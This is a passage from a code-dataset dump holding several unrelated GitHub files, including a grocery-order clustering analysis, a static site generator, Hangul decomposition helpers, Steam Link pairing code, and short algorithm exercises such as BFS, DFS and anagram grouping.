anymore\ncosine_similarity_matrix=np.delete(np.delete(cosine_similarity_matrix,1,0),1,1)\n#%%\n#using the precomputed cosine matrix and using complete linkage to group items together, plot the hierarchical structure using a dendogram\nclustering2=AgglomerativeClustering(n_clusters=10,affinity='precomputed',linkage='complete').fit(1-cosine_similarity_matrix)\n\nplt.figure(figsize=(8,15))\ngspec= gridspec.GridSpec(80,10)\n\nleft_ax= plt.subplot(gspec[:,:6])\nright_ax=plt.subplot(gspec[:,6:])\n\nlabels=list(departments_dict.values())\nlabels=[labels[0]]+labels[2:-1]\n\n#calculate linkage matrix using wards method\nlinkage_matrix = linkage(1-cosine_similarity_matrix, \"ward\")\ndend=dendrogram(linkage_matrix,truncate_mode='level',orientation='right',labels=labels,color_threshold=1,ax=left_ax)\nleft_ax.spines['right'].set_visible(False)\nleft_ax.spines['top'].set_visible(False)\nleft_ax.spines['left'].set_visible(False)\nleft_ax.spines['bottom'].set_visible(False)\nleft_ax.tick_params(axis='y', which='major', labelsize=7)\nleft_ax.set_xlabel('Closeness measure')\nleft_ax.xaxis.grid(True,linestyle='--',alpha=0.4)\nleft_ax.set_title('Hierarchical clustering with ward linkage')\ncell_text = []\nfor row in range(len(departments)):\n cell_text.append(departments.iloc[row])\nplt.axis('off')\nplt.tight_layout()\nplt.savefig('clustering_depts.jpg',dpi=200)\n#%%\ndel count_per_order\n#%%\nsection_distance={1:2,\n2:np.nan,\n3:2,\n4:1,\n5:3,\n6:4,\n7:1,\n8:4,\n9:3,\n10:4,\n11:3,\n12:3,\n13:2,\n14:2,\n15:2,\n16:1,\n17:3,\n18:3,\n19:1,\n20:2,\n21:np.nan}\n#%%\n#write here about the layout of the supermarket\n#%%\n# 4 - Getting items to display in front based on how many times they happened, as well as how much uncorrelated to their department they are.\n\n# %%\norders=pd.read_csv('../data/order_products__prior.csv')[['order_id','product_id']]\nproducts=pd.read_csv('../processed_data/reassigned_products.csv',index_col=0)\norders_merged=orders.merge(products,on='product_id',how='left')\ndel orders,products\nnew_dept_assignment_dict=dict(zip(orders_merged['product_id'],orders_merged['new_department_id']))\n\nunique_products_dep=orders_merged[['product_id','department_id']].drop_duplicates()\nproduct_dept_dict=dict(zip(unique_products_dep['product_id'],unique_products_dep['department_id']))\n\nif recalculate_dept_product_dict:\n count_per_order3=orders_merged.groupby(['order_id','new_department_id']).count()[['product_id']].reset_index().rename(columns={'product_id':'product'})\n\n orders_dept_list=np.transpose([list(count_per_order3['order_id']),list(count_per_order3['new_department_id']),list(count_per_order3['product'])])\n dict_transactions_dept={}\n for order_id in count_per_order3['order_id']:\n dict_transactions_dept[order_id]={}\n dict_transactions_dept[order_id]['departments']=[]\n dict_transactions_dept[order_id]['n_items']=[]\n \n for item in orders_dept_list:\n dict_transactions_dept[item[0]]['departments']+=[item[1]]\n dict_transactions_dept[item[0]]['n_items']+=[item[2]]\n\n dict_product_departments={}\n for prod_id in pd.unique(orders_merged['product_id']):\n dict_product_departments[prod_id]={}\n dict_product_departments[prod_id]['occurrences_with_dep']=np.zeros(len(departments)+1)\n dict_product_departments[prod_id]['occurrences']=0\n dict_product_departments[prod_id]['occurrences_alone_in_section']=0\n dict_product_departments[prod_id]['department']=product_dept_dict[prod_id]\n\n\n\n for index,row in orders_merged.iterrows():\n if index%100000==0:\n print(index//100000,end=', ')\n\n dict_product_departments[row['product_id']]['occurrences']+=1\n department_product=row['new_department_id']\n\n # if item is the only item of a department that appears in an order, add 1 to \"occurrences_alone_in_section\"\n if department_product in dict_transactions_dept[row['order_id']]['departments']:\n index_in_list=dict_transactions_dept[row['order_id']]['departments'].index(department_product)\n if dict_transactions_dept[row['order_id']]['n_items'][index_in_list]==1:\n dict_product_departments[row['product_id']]['occurrences_alone_in_section']+=1\n \n item_length=len(dict_transactions_dept[row['order_id']]['departments'])\n for i in np.arange(item_length):\n dept=dict_transactions_dept[row['order_id']]['departments'][i]\n n_items=dict_transactions_dept[row['order_id']]['n_items'][i]\n #dict_product_departments[row['product_id']]['occurrences_with_dep'][dept]+=n_items\n\n #skip in case the product is the only one of the department\n if dept == department_product and n_items==1:continue\n\n dict_product_departments[row['product_id']]['occurrences_with_dep'][dept]+=1\n\n\n with open('../processed_data/dict_product_departments.pkl','wb') as fp:\n pickle.dump(dict_product_departments, fp)\nelse:\n with open('../processed_data/dict_product_departments.pkl','rb') as fp:\n dict_product_departments=pickle.load(fp)\n#%%\n\n\n# %%\n#counting number of times dept appears\noccurences_by_dep={}\nfor i in np.arange(len(departments)+1):\n occurences_by_dep[i]=0\n\nfor dept_id in orders_merged['new_department_id']:\n occurences_by_dep[dept_id]+=1\n#%%\n#getting product id to dept id assignment\n# %%\n\n# %%\nproduct_info=[]\nfor product_id in new_dept_assignment_dict:\n\n dept_id_of_product=new_dept_assignment_dict[product_id]\n\n total_occur=dict_product_departments[product_id]['occurrences']\n occurences_other_depts=dict_product_departments[product_id]['occurrences_with_dep']\n\n occurences_unique_in_dept=dict_product_departments[product_id]['occurrences_alone_in_section']\n ptcg_unique_in_section=occurences_unique_in_dept/total_occur*100\n\n #occurences_other_depts[dept_id_of_product]-=total_occur\n\n cosimilarity_array=[]\n for dept_id in np.arange(len(occurences_other_depts)):\n if occurences_by_dep[dept_id]==0:\n cosimilarity_array+=[np.nan]\n continue\n cosimilarity_array+=[occurences_other_depts[dept_id]/np.sqrt(occurences_by_dep[dept_id]*total_occur)]\n max_cosimilarity=np.nanmax(cosimilarity_array)\n median_cosimilarity=np.nanmedian(cosimilarity_array)\n cosimilarity_its_own_dept=cosimilarity_array[dept_id_of_product]\n\n product_info+=[[product_id,dept_id_of_product,total_occur,cosimilarity_its_own_dept,median_cosimilarity,max_cosimilarity,ptcg_unique_in_section]]\n# %%\ndata_cosimilarity=pd.DataFrame(product_info,columns=['product_id','dept_id','total_occurrences','cosimilarity_with_own_dept','median_cosimilarity','max_cosimilarity','pctg_unique_item_of_section'])\ndata_cosimilarity['prod_name']=data_cosimilarity['product_id'].apply(lambda x:inverted_product_dict[x])\ndata_cosimilarity['dept_name']=data_cosimilarity['dept_id'].apply(lambda x:departments_dict[x])\n# %%\ndata_cosimilarity['ratio_itself_to_median_cosimilarity']=data_cosimilarity['cosimilarity_with_own_dept']/data_cosimilarity['median_cosimilarity']\n# %%\ndata_cosimilarity['rank_occurrences']=data_cosimilarity['total_occurrences'].rank(ascending=False)\ndata_cosimilarity['rank_itself_to_median']=data_cosimilarity['ratio_itself_to_median_cosimilarity'].rank(ascending=True)\ndata_cosimilarity['rank_unique_in_dept']=data_cosimilarity['pctg_unique_item_of_section'].rank(ascending=False)\n\n# %%\ndata_cosimilarity['final_rank']=data_cosimilarity['rank_occurrences']+data_cosimilarity['rank_unique_in_dept']+data_cosimilarity['rank_itself_to_median']\n#%%\ndata_cosimilarity['final_rank_modified']=data_cosimilarity['final_rank']/data_cosimilarity['dept_id'].apply(lambda x:section_distance[x])\n\n# %%\ndata_cosimilarity[data_cosimilarity['total_occurrences']>100].sort_values('final_rank').head(100)[['prod_name','dept_name','total_occurrences','pctg_unique_item_of_section','cosimilarity_with_own_dept','median_cosimilarity','ratio_itself_to_median_cosimilarity','rank_occurrences','rank_itself_to_median','rank_unique_in_dept','final_rank']]\n# %%\n\n# %%\n","repo_name":"Brandevin/Instamarket_analysis","sub_path":"code/market_layout.py","file_name":"market_layout.py","file_ext":"py","file_size_in_byte":27265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"802148194","text":"mat=[[0,0,0],\n [0,1,0],\n [1,1,1]]\ndef bfs(matrix,m,n,i,j):\n seen=set()\n seen.add((i,j))\n queue=[(i,j)]\n r,c=[-1,0,1,0],[0,1,0,-1]\n level=1\n while queue:\n new_q=[]\n for k in queue:\n x,y=k\n for c1 in range(4):\n m1,n1=x+r[c1],y+c[c1]\n if 0<=m1<m and 0<=n1<n and (m1,n1) not in seen:\n # print(m1,n1)\n if matrix[m1][n1]==0:\n return level\n new_q.append((m1,n1))\n seen.add((m1,n1))\n queue=new_q\n level+=1\n return\n\ndef updateMatrix( matrix):\n seen=set()\n new_mat=[]\n # print(new_mat)\n for i in range(len(matrix)):\n list1=[]\n for j in range(len(matrix[0])):\n if matrix[i][j]==1:\n\n list1.append(bfs(matrix,len(matrix),len(matrix[0]),i,j))\n else:\n list1.append(matrix[i][j])\n new_mat.append(list1)\n return new_mat\n\nprint(updateMatrix(mat))","repo_name":"himanshu9345/Leet-Code-Practice","sub_path":"Queue & Stack/01 Matrix.py","file_name":"01 Matrix.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"24050777332","text":"import os\nimport sys\nimport time\nimport posixpath\nimport threading\n\nif sys.version > '3':\n import urllib.parse\n from http.server import HTTPServer\n from http.server import SimpleHTTPRequestHandler\nelse:\n import urllib\n from BaseHTTPServer import HTTPServer\n from SimpleHTTPServer import SimpleHTTPRequestHandler\n\nfrom . import tags\nfrom . import utils\nfrom . import templatelang\n\ndef build_file(filename, outfilename, root='.', create_dir=True):\n filepath = os.path.join(root, filename)\n with utils.open_file(filepath) as infile:\n try:\n if sys.version > '3':\n content = str(infile.read(), 'utf-8')\n else:\n content = unicode(infile.read(), 'utf-8')\n output = tags.render(content, filename=filename, rootdir=root)\n except templatelang.ParseBaseException as e:\n utils.print_parse_exception(e, filename)\n return\n\n with utils.open_file(outfilename, \"w\", create_dir=create_dir) as outfile:\n if sys.version > '3':\n outfile.write(output)\n else:\n outfile.write(output.encode('utf-8'))\n\n \ndef build_files(root='.', dest='_site', pattern='**/*.html', \n exclude='_*/**', watch=False, force=False):\n try:\n os.stat(os.path.join(root, 'index.html'))\n except OSError:\n if not force:\n msg = \"Oops, we can't find an index.html in the source folder.\\n\"+\\\n \"If you want to build this folder anyway, use the --force\\n\"+\\\n \"option.\"\n print(msg)\n sys.exit(1)\n\n print(\"Building site from '{0}' into '{1}'\".format(root, dest))\n\n exclude = exclude or os.path.join(dest, '**')\n for filename in utils.walk_folder(root or '.'):\n included = utils.matches_pattern(pattern, filename)\n excluded = utils.matches_pattern(exclude, filename)\n destfile = os.path.join(dest, filename)\n if included and not excluded: \n build_file(filename, destfile, root=root)\n elif not excluded:\n filepath = os.path.join(root, filename)\n destpath = os.path.join(dest, filename)\n utils.copy_file(filepath, destpath)\n\n if watch:\n observer = _watch(root=root,\n dest=dest,\n pattern=pattern,\n exclude=exclude)\n if not observer:\n return\n try:\n while True:\n time.sleep(1)\n except KeyboardInterrupt:\n observer.stop()\n observer.join()\n\n\ndef _watch(root='.', dest='_site', pattern='**/*.html', exclude='_*/**'):\n\n try:\n from watchdog.observers import Observer\n from watchdog.events import FileSystemEventHandler\n except ImportError:\n msg = \"The build --watch feature requires watchdog. \\n\"\\\n + \"Please install it with 'easy_install watchdog'.\"\n print(msg)\n return None\n\n class handler(FileSystemEventHandler):\n def on_any_event(self, event):\n exclude_path = os.path.join(os.getcwd(), exclude)\n if not utils.matches_pattern(exclude_path, event.src_path):\n build_files(root=root,\n dest=dest,\n pattern=pattern,\n exclude=exclude)\n\n observer = Observer()\n observer.schedule(handler(), root, recursive=True)\n observer.start()\n\n print(\"Watching '{0}' ...\".format(root))\n\n return observer\n\n\ndef serve_files(root='.', dest='_site', pattern='**/*.html', \n exclude='_*/**', watch=False, port=8000, force=False):\n\n # setup server\n\n class RequestHandler(SimpleHTTPRequestHandler):\n \n def translate_path(self, path):\n root = os.path.join(os.getcwd(), dest)\n\n # normalize path and prepend root directory\n path = path.split('?',1)[0]\n path = path.split('#',1)[0]\n if sys.version > '3':\n path = posixpath.normpath(urllib.parse.unquote(path))\n else:\n path = posixpath.normpath(urllib.unquote(path))\n words = path.split('/')\n words = [_f for _f in words if _f]\n \n path = root\n for word in words:\n drive, word = os.path.splitdrive(word)\n head, word = os.path.split(word)\n if word in (os.curdir, os.pardir):\n continue\n path = os.path.join(path, word)\n\n return path\n\n class StoppableHTTPServer(HTTPServer):\n\n def serve_until_shutdown(self):\n self._stopped = False\n while not self._stopped:\n try:\n httpd.handle_request()\n except:\n self._stopped=True\n self.server_close()\n\n\n def shutdown(self):\n self._stopped = True \n self.server_close()\n\n server_address = ('', port)\n httpd = StoppableHTTPServer(server_address, RequestHandler)\n server_thread = threading.Thread(\n target=httpd.serve_until_shutdown)\n server_thread.daemon = True\n server_thread.start()\n\n print(\"HTTP server started on port {0}\".format(server_address[1]))\n\n # build files\n\n build_files(root=root,\n dest=dest,\n pattern=pattern,\n exclude=exclude,\n force=force)\n\n # watch files while server running\n\n if watch:\n observer = _watch(root=root,\n dest=dest,\n pattern=pattern,\n exclude=exclude)\n if not observer:\n return\n try:\n while True:\n time.sleep(1)\n except KeyboardInterrupt:\n observer.stop()\n httpd.shutdown()\n observer.join()\n\n else:\n try:\n while True:\n time.sleep(1)\n except KeyboardInterrupt:\n httpd.shutdown()\n\n\n\nNEW_INDEX_STR = \"\"\"<!DOCTYPE html>\n<html>\n{% include _partials/header.html %}\n<body>\n {% include _partials/nav.html %}\n <h1>Welcome!</h1>\n</body>\n</html>\"\"\"\n\nNEW_ABOUT_STR = \"\"\"<!DOCTYPE html>\n<html>\n{% include _partials/header.html %}\n<body>\n {% include _partials/nav.html %}\n <h1>About!</h1>\n</body>\n</html>\"\"\"\n\nNEW_HEADER_STR = \"\"\"\n<head>\n <title>My new site\n \n\"\"\"\n\nNEW_NAV_STR = \"\"\"\n \"\"\"\n\nNEW_STYLE_STR = \"\"\".active {font-weight:bold;}\"\"\"\n\nNEW_SITE = {\n 'index.html': NEW_INDEX_STR,\n 'about.html': NEW_ABOUT_STR,\n '_partials/header.html': NEW_HEADER_STR,\n '_partials/nav.html': NEW_NAV_STR,\n 'css/style.css': NEW_STYLE_STR\n}\n\ndef new_site(root='.', force=False):\n try:\n os.stat(os.path.join(root, 'index.html'))\n if not force:\n msg = \"Oops, there's already an index.html file in the source \\n\"+\\\n \"folder. If you want to overwrite this folder with a new \\n\"+\\\n \"site, use the --force option.\"\n print(msg)\n sys.exit(1)\n except OSError:\n pass\n\n print(\"Creating new site in '{0}'.\".format(root))\n\n for fname, text in list(NEW_SITE.items()):\n fpath = os.path.join(root, fname)\n with utils.open_file(fpath, \"w\", create_dir=True) as afile:\n afile.write(text)\n","repo_name":"braceio/tags","sub_path":"tags/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":7669,"program_lang":"python","lang":"en","doc_type":"code","stars":193,"dataset":"github-code","pt":"44"} +{"seq_id":"7623786530","text":"class Node:\n def __init__(self,name):\n self.children = []\n self.name = name\n\n def addChild(self,name):\n self.children.append(Node(name))\n return self\n \n def dfs(self,array):\n array.append(self.name)\n for child in self.children:\n child.dfs(array)\n return array\n \nif __name__ == \"__main__\":\n graph = Node(\"A\")\n graph.addChild(\"B\").addChild(\"C\").addChild(\"D\")\n graph.children[0].addChild(\"E\").addChild(\"F\")\n graph.children[2].addChild(\"G\").addChild(\"H\")\n graph.children[0].children[1].addChild(\"I\").addChild(\"J\")\n \n graph.children[2].children[0].addChild(\"K\")\n \n print(graph.dfs([]))","repo_name":"kkawesum/OA-questions","sub_path":"advanced_series/algoexpert/easy/dfs_tree.py","file_name":"dfs_tree.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"20085004401","text":"import re\nimport numpy as np\n\nkor_begin, kor_end = (44032, 55203)\njaum_begin, jaum_end = (912593, 12622)\nmoum_begin, moum_end = (12623, 12643)\nchosung_base = 588\njungsung_base = 28\n\nchosung_list = [ 'ㄱ', 'ㄲ', 'ㄴ', 'ㄷ', 'ㄸ', 'ㄹ', 'ㅁ', 'ㅂ', 'ㅃ', \n 'ㅅ', 'ㅆ', 'ㅇ' , 'ㅈ', 'ㅉ', 'ㅊ', 'ㅋ', 'ㅌ', 'ㅍ', 'ㅎ']\n\njungsung_list = ['ㅏ', 'ㅐ', 'ㅑ', 'ㅒ', 'ㅓ', 'ㅔ', \n 'ㅕ', 'ㅖ', 'ㅗ', 'ㅘ', 'ㅙ', 'ㅚ', \n 'ㅛ', 'ㅜ', 'ㅝ', 'ㅞ', 'ㅟ', 'ㅠ', \n 'ㅡ', 'ㅢ', 'ㅣ']\n\njongsung_list = [\n ' ', 'ㄱ', 'ㄲ', 'ㄳ', 'ㄴ', 'ㄵ', 'ㄶ', 'ㄷ',\n 'ㄹ', 'ㄺ', 'ㄻ', 'ㄼ', 'ㄽ', 'ㄾ', 'ㄿ', 'ㅀ', \n 'ㅁ', 'ㅂ', 'ㅄ', 'ㅅ', 'ㅆ', 'ㅇ', 'ㅈ', 'ㅊ', \n 'ㅋ', 'ㅌ', 'ㅍ', 'ㅎ']\n\njaum_list = ['ㄱ', 'ㄲ', 'ㄳ', 'ㄴ', 'ㄵ', 'ㄶ', 'ㄷ', 'ㄸ', 'ㄹ', \n 'ㄺ', 'ㄻ', 'ㄼ', 'ㄽ', 'ㄾ', 'ㄿ', 'ㅀ', 'ㅁ', 'ㅂ', \n 'ㅃ', 'ㅄ', 'ㅅ', 'ㅆ', 'ㅇ', 'ㅈ', 'ㅉ', 'ㅊ', 'ㅋ', 'ㅌ', 'ㅍ', 'ㅎ']\n\nmoum_list = ['ㅏ', 'ㅐ', 'ㅑ', 'ㅒ', 'ㅓ', 'ㅔ', 'ㅕ', 'ㅖ', 'ㅗ', 'ㅘ', \n 'ㅙ', 'ㅚ', 'ㅛ', 'ㅜ', 'ㅝ', 'ㅞ', 'ㅟ', 'ㅠ', 'ㅡ', 'ㅢ', 'ㅣ']\n\n\ndef compose(chosung, jungsung, jongsung):\n return chr(kor_begin + chosung_base * chosung_list.index(chosung) + jungsung_base * jungsung_list.index(jungsung) + jongsung_list.index(jongsung))\n\ndef decompose(c): \n if not character_is_korean(c):\n return None\n i = ord(c)\n if (jaum_begin <= i <= jaum_end):\n return (c, ' ', ' ')\n if (moum_begin <= i <= moum_end):\n return (' ', c, ' ') \n i -= kor_begin\n cho = i // chosung_base\n jung = ( i - cho * chosung_base ) // jungsung_base \n jong = ( i - cho * chosung_base - jung * jungsung_base ) \n return (chosung_list[cho], jungsung_list[jung], jongsung_list[jong])\n\ndef character_is_korean(c):\n i = ord(c)\n return (kor_begin <= i <= kor_end) or (jaum_begin <= i <= jaum_end) or (moum_begin <= i <= moum_end)","repo_name":"lovit/python_ml4nlp","sub_path":"day7_string_distance/inverted_index_for_hangle_editdistance/fast_hangle_levenshtein/_hangle.py","file_name":"_hangle.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"44"} +{"seq_id":"72706133573","text":"from fileweaver.base import graph\nfrom fileweaver.base import linking\nfrom fileweaver.base import cooking\nfrom fileweaver.base import managing\nfrom fileweaver.read_write import readwrite\n\n\ndef map_incoming_message_from_websocket(msg):\n print(msg)\n line = msg.rstrip(\"\\n\").split(\",\")\n\n # logging.info(line)\n #### Single file operations\n if \"addFileAndChildren\" in line[0]:\n # logging.info(\"addFileAndChildren\")\n print(\"addFileAndChildren\")\n file = line[1]\n print(\"file\", file)\n cooking.add_file_and_children(file)\n\n elif \"copyFileWithDependencies\" in line[0]:\n # logging.info(\"copyFileWithDependencies\")\n file = line[1]\n managing.copy_link(file)\n\n elif \"makeStandaloneArchiveRun\" in line[0]:\n # logging.info(\"makeStandaloneArchiveRun\")\n file = line[1]\n managing.make_archive(file, mode=\"full\", runnable=True)\n\n elif \"makeStandaloneArchiveFlat\" in line[0]:\n # logging.info(\"makeStandaloneArchiveFlat\")\n file = line[1]\n managing.make_archive(file, mode=\"full\", runnable=False)\n\n elif \"editFileAndUpdate\" in line[0]:\n # logging.info(\"editFileAndUpdate\")\n file = line[1]\n cooking.edit_linked_file(file)\n\n elif \"removeFileAsLink\" in line[0]:\n # logging.info(\"removeFileAsLink\")\n file = line[1]\n managing.un_link(file)\n\n elif \"tagFile\" in line[0]:\n # logging.info(\"tagFile\")\n file = line[1]\n managing.tag_link(file)\n elif \"showInFileBrowser\" in line[0]:\n # logging.info(\"showInFileBrowser\")\n file = line[1]\n managing.call_naut(file)\n\n #### Multifile operations\n elif \"connectFiles\" in line[0]:\n # logging.info(\"connectFiles\")\n files = line[1:]\n managing.attach_link(files)\n\n elif \"disconnectFiles\" in line[0]:\n # logging.info(\"disconnectFiles\")\n files = line[1:]\n managing.detach_link(files)\n\n elif \"morphFiles\" in line[0]:\n # logging.info(\"morphFiles\")\n files = line[1:]\n managing.morph(files)\n\n elif \"tagGroupOfFiles\" in line[0]:\n # logging.info(\"tagGroupOfFiles\")\n files = line[1:]\n managing.grouptag_links(files)\n elif \"CompareFiles\" in line[0]:\n # logging.info(\"CompareFiles\")\n filename = line[1]\n versions = line[2:]\n # nautgit.show_diff_versions(filename, versions)\n\n else:\n print(line)\n print(\n \"command not found. don't forget to change this when connecting to the node js part for real.\"\n )\n\n # logging.info(\"unknown command\")\n # logging.info(line)\n","repo_name":"jgori-ouistiti/FileWeaver","sub_path":"fileweaver/read_write/map_incoming_messages.py","file_name":"map_incoming_messages.py","file_ext":"py","file_size_in_byte":2649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"26691784365","text":"from random import choice\n\na = \"hello world\"\nchoices = [\"up\", \"low\"]\nn = 0\nc = \"\"\n\n\nfor i in a:\n b = choice(choices)\n if b == \"up\":\n c = c + a[n].upper()\n else:\n c = c + a[n].lower()\n n +=1\nprint(c)\n","repo_name":"Aniket965/Hello-world","sub_path":"Python/hello-world-random-caps.py","file_name":"hello-world-random-caps.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","stars":1462,"dataset":"github-code","pt":"44"} +{"seq_id":"1280995176","text":"from django.contrib.gis.db import models\n\n#\n# FeedEntry is a container for the information stored in each Philly Fire News post\n#\nclass Facility(models.Model):\n\n ogc_fid = models.AutoField(primary_key=True,db_column='ogc_fid')\n\n engineId = models.IntegerField(db_column='eng')\n ladderId = models.IntegerField(db_column='lad')\n medicId = models.IntegerField(db_column='med')\n locationStr = models.CharField(max_length=36,db_column='location')\n point = models.GeometryField(db_column='wkb_geometry')\n\n def __str__(self):\n return \"id:{id} location:{location} x={x} y={y} engine:{engine} ladder:{ladder}\".format(\n id=self.ogc_fid,\n location=self.locationStr,\n x=self.point.x,\n y=self.point.y,\n engine=self.engineId,\n ladder=self.ladderId\n )\n\n class Meta:\n db_table = \"fire_dept_facilities\"\n\nclass FacilityManager(models.Manager):\n\n def create_feed_entry( self, dataList ):\n facility = FireIncident()\n feedEntry.postTitleStr = dataList.title.encode( 'utf-8','replace' )\n feedEntry.postLinkStr = dataList.link.encode( 'utf-8','replace' )\n feedEntry.postDateStr = dataList.published.encode( 'utf-8','replace' )\n \n contentObj = PostContentHtml( dataList.content )\n \n feedEntry.fireDateStr = contentObj.fireDate.encode( 'utf-8','replace' )\n feedEntry.fireTimeStr = contentObj.fireTime.encode( 'utf-8','replace' )\n feedEntry.fireAddressRaw = contentObj.fireAddress.encode( 'utf-8','replace' )\n feedEntry.fireAddressStr = self.scrubAddress( feedEntry.fireAddressRaw )\n feedEntry.fireTypeStr = contentObj.fireType.encode( 'utf-8','replace' )\n feedEntry.fireDetailsStr = contentObj.fireDetails.encode( 'utf-8','replace' )\n\n return feedEntry","repo_name":"amberheilman/StationDown","sub_path":"stationdown/firestations/facility.py","file_name":"facility.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"44"} +{"seq_id":"22263291075","text":"'''\nGiven an array of strings strs, group the anagrams together. You can return the answer in any order.\n\nAn Anagram is a word or phrase formed by rearranging the letters of a different word or phrase, \ntypically using all the original letters exactly once.\n\nExample 1:\n\nInput: strs = [\"eat\",\"tea\",\"tan\",\"ate\",\"nat\",\"bat\"]\nOutput: [[\"bat\"],[\"nat\",\"tan\"],[\"ate\",\"eat\",\"tea\"]]\nExample 2:\n\nInput: strs = [\"\"]\nOutput: [[\"\"]]\nExample 3:\n\nInput: strs = [\"a\"]\nOutput: [[\"a\"]]\n\nConstraints:\n\n1 <= strs.length <= 104\n0 <= strs[i].length <= 100\nstrs[i] consists of lowercase English letters.\n'''\n\nclass Solution(object):\n def groupAnagrams(self, strs):\n \n if len(strs) <= 1:\n return strs\n\n # final\n final_list = []\n anagrams = []\n\n # while 'strs' list is not empty/null\n while strs:\n \n sorted_str_first = ''.join(sorted(strs[0]))\n anagrams.append(strs[0])\n strs.remove(strs[0])\n\n for i in range(1, len(strs)):\n \n # print(\"LOOP\", i)\n sorted_str = ''.join(sorted(strs[i]))\n \n if sorted_str_first == sorted_str:\n anagrams.append(strs[i])\n strs.remove(strs[i])\n \n final_list.append(anagrams)\n anagrams = []\n \n return final_list\n\n print(len(strs))\n\n'''\nclass Solution:\n def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n \n # will store the sorted value as key and its original strings as values\n dic = {}\n\n for i in strs:\n \n word = ''.join(sorted(i))\n \n # if word is already in dictionary as key\n # append the original unsorted string to the sub list\n if word in dic:\n dic[word].append(i)\n\n # if word is not in dictionary\n # create a sub list and add it there\n else:\n dic[word] = [i]\n\n return list(dic.values())\n'''\n\n\n\n","repo_name":"sohamgupta100/dsa","sub_path":"string/medium_group_anagrams_leetcode.py","file_name":"medium_group_anagrams_leetcode.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"13850410225","text":"import math\nclass Solution(object):\n def isPowerOfThree(self, n):\n \"\"\"\n :type n: int\n :rtype: bool\n \"\"\"\n \n epsilon = .0000000001\n if n<=0 :\n return False\n return (math.log(n) / math.log(3) + epsilon) % 1 <= 2 * epsilon\n\n \nn = 728\nsol = Solution()\nprint(sol.isPowerOfThree(n))\n","repo_name":"ProtikBose/Programming-Practice","sub_path":"Math/Power of three.py","file_name":"Power of three.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1693695070","text":"import os.path\nfrom base64 import b64decode\n\nimport yaml\nfrom google.protobuf.message import Message\n\nfrom protobuf.steammessages_remoteclient_discovery_pb2 import CMsgRemoteDeviceAuthorizationRequest\nfrom service import ccrypto\nfrom service.common import get_device_id, device_token\n\nwith open(os.path.join(os.path.dirname(__file__), 'pubkey.yml')) as f:\n keys = yaml.load(f, Loader=yaml.FullLoader)\n\n\ndef authorization_req_rsa_pubkey(universe: int) -> bytes:\n if universe > 4:\n raise ValueError(f'Unsupported universe {universe}')\n return b64decode(keys[min(universe, 3)])\n\n\ndef authorization_req_ticket_plain(dev_id: int, pin: str, enc_key: bytes, name: str) -> Message:\n ticket = CMsgRemoteDeviceAuthorizationRequest.CKeyEscrow_Ticket()\n ticket.password = pin.encode('utf-8')\n ticket.identifier = dev_id\n ticket.payload = enc_key\n ticket.usage = 0 # k_EKeyEscrowUsageStreamingDevice\n ticket.device_name = name\n ticket.device_model = '1234'\n ticket.device_serial = 'A1B2C3D4E5'\n ticket.device_provisioning_id = 123456\n return ticket\n\n\ndef authorization_req(universe: int, device_name: str, enc_key: bytes, pin: str) -> Message:\n pubkey = authorization_req_rsa_pubkey(universe)\n device_id = get_device_id()\n plain = authorization_req_ticket_plain(device_id, pin, enc_key, device_name)\n encrypted_request = ccrypto.rsa_encrypt(plain.SerializeToString(), pubkey)\n return CMsgRemoteDeviceAuthorizationRequest(device_token=device_token(device_id, enc_key), device_name=device_name,\n encrypted_request=encrypted_request)\n","repo_name":"mariotaku/steamlink.py","sub_path":"service/pairing.py","file_name":"pairing.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"44"} +{"seq_id":"15258167842","text":"fname = input('Enter File: ')\nif len(fname) < 1 : fname = 'clown.txt'\n\nhand = open(fname)\n\ndi = dict()\nfor lin in hand:\n lin = lin.rstrip()\n wds = lin.split()\n for word in wds:\n di[word] = di.get(word, 0) + 1\n\n# print(di)\n\ntmp = list()\nfor k, v in di.items():\n # print(k, v)\n newt = (v, k)\n tmp.append(newt)\n\n# print(tmp)\n\ntmp = sorted(tmp, reverse=True)\nprint(tmp[:5])\n\nfor v, k in tmp[:5]:\n print(k, v)\n","repo_name":"ganzik83/TIL","sub_path":"Code ex/programming/python/tuple 연습문제 (유니코드 인코딩 충돌).py","file_name":"tuple 연습문제 (유니코드 인코딩 충돌).py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"43313119424","text":"import logging\nfrom gym.envs.registration import register\n\nlogger = logging.getLogger(__name__)\n\nregister(\n id='DoNotRepeatYourself-v0',\n entry_point='gym_do_not_repeat_yourself.envs:DoNotRepeatYourselfEnv',\n# timestep_limit=1000,\n# reward_threshold=1.0,\n# nondeterministic = True,\n)\n","repo_name":"ihadanny/IANNA","sub_path":"gym_do_not_repeat_yourself/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"37175190496","text":"import logging\nimport json\nimport requests\n\n\ndef lambda_handler(event, context):\n logging.info(f\"Received event: {event}\")\n\n event_body = json.loads(event.get(\"body\", \"{}\"))\n\n try:\n user = json.loads(requests.get(f\"http://femr-central-api.us-west-2.elasticbeanstalk.com/user/{event_body.get('email')}/\").text)\n except:\n user = None\n\n if user is None or user.get(\"password\") != 